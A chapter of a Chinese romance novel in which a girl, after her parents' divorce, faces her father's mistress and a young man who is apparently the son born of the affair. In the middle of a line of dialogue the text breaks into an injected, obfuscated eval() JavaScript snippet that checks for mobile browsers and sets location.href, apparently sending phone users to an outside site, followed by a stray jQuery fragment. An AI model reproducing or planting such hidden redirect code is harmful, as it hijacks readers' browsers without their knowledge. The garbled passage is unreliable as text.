徐知懿早该想到,要不是什么很严重的事情,郑文瑾不会放下她手上的事情回来。
这是夏天给予她的第一次冲击。
客厅一片死寂,只有郑文瑾握着钢笔果断在协议上签字的沙沙声。笔帽“哒”一声扣上,律师开始翻阅整理各种资料。
“可以了徐杰,财产是完全按比例赔偿分配,我一分没多拿。现在正是最关键的时候,我后天一早的飞机就要赶回去,再借住两晚。”郑文瑾说完起身。
“我不要我不要我不要。”一切都非徐知懿本意地推进,她崩溃,带着哭腔拉住她:“那我怎么办啊妈妈。”
“不想在这待着的话搬去外婆家吧,离你学校更近。”
徐知懿感觉有什么东西哽在喉咙,她是想哭的,但莫名其妙掉不下眼泪来。好像客观来说父母离婚这件事对她也并没有多么大的影响,本来他们一年到头也是聚少离多,大多时候都是她自己在家。
父亲外遇,第三者带着私生子找上门的戏码在她的生活圈里其实并不是什么稀奇事。她只是怎么都想不明白,为什么会这么轻易就结束了,那些原配寸步不让的情节呢,给钱可以上位不行的警告呢。智斗八百回合的剧情也都省略,母亲怎么能这么简单就让这一切结束。
“妈妈,你不要这个家了吗?”徐知懿想让自己像她一样平静,但她做不到,声音还是颤抖的。
“知知,妈妈年轻时候对感情的事没有那么开窍,大家都说你爸爸是个好男人我就稀里糊涂地和他结婚了。但是这么多年你也看到了,我们根本没什么感情。”郑文瑾声线平稳,语气是不容置喙的坚定:“你知道妈妈正在研究的项目课题美国一个团队也在做吗?现在是和时间赛跑的时候,我没有精力去应付这些事情。”
郑文瑾的人生里,科研永远是第一。
徐知懿外公外婆早年下海经商,遇到风口迅速起家。他们给了郑文瑾最优渥的物质条件和看世界的底气,她爱上了人类赖以生存的家园,并下定决心要研究它爱护它。在无尽的教育资源和努力下,她成为了北城科大的教授,一年前又接下国家级大项目,带队驻扎南极,一走就是大半年,家里彻底空了下来。
“是的,仪器每天都要做好记录。”即便是这样的时刻,她还要发语音抽空交代工作。这是压垮徐知懿的最后一根稻草,她手慢慢滑落垂到身侧,她不是任何人人生里的第一选项,甚至是父母。
郑文瑾说:“把你带到这样的家庭里妈妈很抱歉。但我们都有要面对的人生,我有我要面对的,你也有你要面对的。”
“后天走吗?”她小声询问,不知道是被说服了,还是意识到自己没有任何能力扭转这样的局面。
“对,后天走。”郑文瑾说着提上了自己的挎包:“学校那边还有点事,我去一趟,你要想搬去外婆家就先收拾一下东西。”
她的背影消失于玄关,房子里再次陷入寂静,这寂静让她好奇为什么徐杰自始至终为什么一言不发。
回头去确认,才发现他早就走了。
郑文瑾离开北城的那个上午,也是暑假的第二周,徐知懿开始动工了。
去外婆家,她才不要。既然母亲不肯追究,那反抗的任务自然是落在她头上,凭什么就如了那对母子的愿,乖乖给他们腾地方。只要他们不好过,她可以忍着膈应住下来。
虽然没有爱,但她有很多的钱。徐知懿把别墅三层阁楼改成了她的领地。
说是阁楼,其实是相当宽敞的两室一厅,徐知懿找装修队把这里从头到尾装修了一遍,书房卧室一应俱全,顺便独占了屋顶小露台的使用权。她在通往三楼的楼梯口安装了一扇防宠物的小门,最大限度地和那“一家三口”的生活区隔离开来。
中间徐杰只回来过一次,看到她踢里哐啷地动工也什么都没说,收拾几件东西又走了。
搬进“新房间”的那天,徐知懿倒在床上滑手机,好朋友孟杨的电话打进来,她才知道晖杰药业董事徐杰婚变的消息已经传遍了。
外界八卦媒体消息灵通,连私生子的存在都知道了,他们到处打探到底是何许人也,但一无所获,甚至开始怀疑私生子是不是谣言。
就连徐知懿都开始怀疑。
“没见过,”她躺在床上翻了个身,把身侧的毛绒玩偶圈在怀里:“我妈回来我才知道这些事情,他们好像提前都谈得很明白了,我到现在也都没见过敌方。”
“算了,”孟杨安慰道:“别想这些事情了,明天要不要出来散散心啊。”
“不去了,明天还有马术课。”
第二天下了点小雨,将闷热的夏天再升一级。马术课取消,但徐知懿还是去了马场,她有很多话无人倾诉,于是一边给黑豆梳毛一边自言自语。空气中蒸腾着泥土和马的味道,她闷出一身汗,并不好闻,却仿佛和这里融为一体。她站在马厩里扭头看着棚外雨幕,心变得异常平静。
紧接着生活也回归往常,每天进出别墅的又只剩下住家的赵阿姨、司机郑大哥、定时上门的保洁团队还有徐知懿。
好像什么都没发生过一样。上各种有的没的课,和孟杨出门逛街,时间允许的时候跟郑文瑾联络,毫无新意的暑假,苦闷难捱的夏天。
一天早上,徐知懿下楼拿东西,站在楼梯口呆呆地看着空旷的房子,突然想起春天的画面。
他说会的。
然后消失得无影无踪。
玄关处,房门被人打开,一瞬间逆光,看不清来人面容。明知道有些事情不可能发生,徐知懿还是幻想般期待,万一是他来了呢。
房门关闭,是赵姨提了两大兜食材,喘着气放在地上换鞋。
徐知懿回过神来,上前帮忙:“赵姨,今天怎么买这么多菜。忘和你说了,我明天和孟杨出去玩,不在家吃了。”
“不……不是……”赵姨表情看起来有点为难:“这是先生嘱咐了,今天多备一点菜。”
徐知懿闻言,弯腰提袋子的手一顿。
“他要回来吃饭吗?还是有客人要来。”她试探询问。
“应该是有人要来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093765|195562||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
具体也没详细和我交代。”
徐知懿一整天心神不宁,她全副武装做好战斗准备时无事发生,反而松懈下来却遇到了敌人奇袭。她在书桌前做功课,电脑屏幕上的英文字母却变得模糊分散,像根植在地上的铁刺。
直到日暮西斜,一切如她所料,窗外有车辆驶入的声音,然后是有人的交谈。她直直地坐在椅子上一动不动,所有感官都在追踪着异响。
有女人的声音,不属于赵姨的声音。有男人的声音,但隔得太远分辨不出是司机郑大哥还是徐杰。有搬东西的声音,好像是纸箱还是行李箱。随即,有上楼梯的脚步声,越来越近,越来越近,然后停滞。
“知知。在忙吗?”
是赵姨。徐知懿稍微松懈了一下后背,起身打开房门,看到赵姨站在防护栏外的楼梯上。
“先生让我来叫你下去。”
为什么不亲自打电话叫她,反而让赵姨上来,无非就是认准了她不会为难赵姨。徐知懿明知故问:“谁来了,这么大动静。”
“呃……韩……韩韩女士…”赵姨不知道在她面前该怎么称呼此人,斟酌了一下。
果然是她。大名鼎鼎的韩若云,介入别人婚姻的第三者,费尽心机带着私生子找上门,没想到连个名分都混不上吧,徐杰根本就没打算和她结婚。
这些信息都是母亲回来签署协议的那天她听到。
“就她一个人,还有别人吗?”她那好弟弟怎么没现身。
“好像还有别人,开门的时候我看还有人从车上下来,但没进来,往后备箱走过去了,我没看清楚。”
“知道了,我马上下去。”徐知懿说着又要转身回房,却看到赵姨还是一脸难为地站在原地:“怎么了?”
“那个……先生让我看着您下去。”
好你个徐杰。
“好,”徐知懿说着,啪一下打开防护门:“下去。”
多亏徐杰这一手,她丢失了一半的斗志好像突然又回来。她跟在赵姨后面下楼,转过楼梯拐角,一层客厅进入视野,房门大开,夏季的晚风和空调的冷气交汇,室外的夜色与室内的灯光在门口一小片区域交融。
这个家有好久没这么热闹了。
韩若云站在玄关处看着门外,郑大哥从车上往里搬运行李,他的身后,还有一个身影被挡住了,看不真切。
徐知懿又往前走两步,下了楼梯,郑大哥右转去放东西,她又被眼前的赵姨遮住视线,再往前走两步,赵姨也左转去了厨房。
那人影显露出来,他肩上背着一个大书包,手里抱着一个大纸箱,缓步从门外阴影处走进光亮里。
徐知懿僵在原地,像被一只手猛然攥紧心脏,□□还站立着,灵魂已经突发休克。
徐之珩站在原地看着她,没有震惊,没有愧疚,没有闪躲,只是站在那里,像等待咪咪进食结束一样等待她的复苏。
他们会如何再次见面,她有无数想象,但绝不是像这样。
像极了刚刚睁眼,就陡然猝死的春天。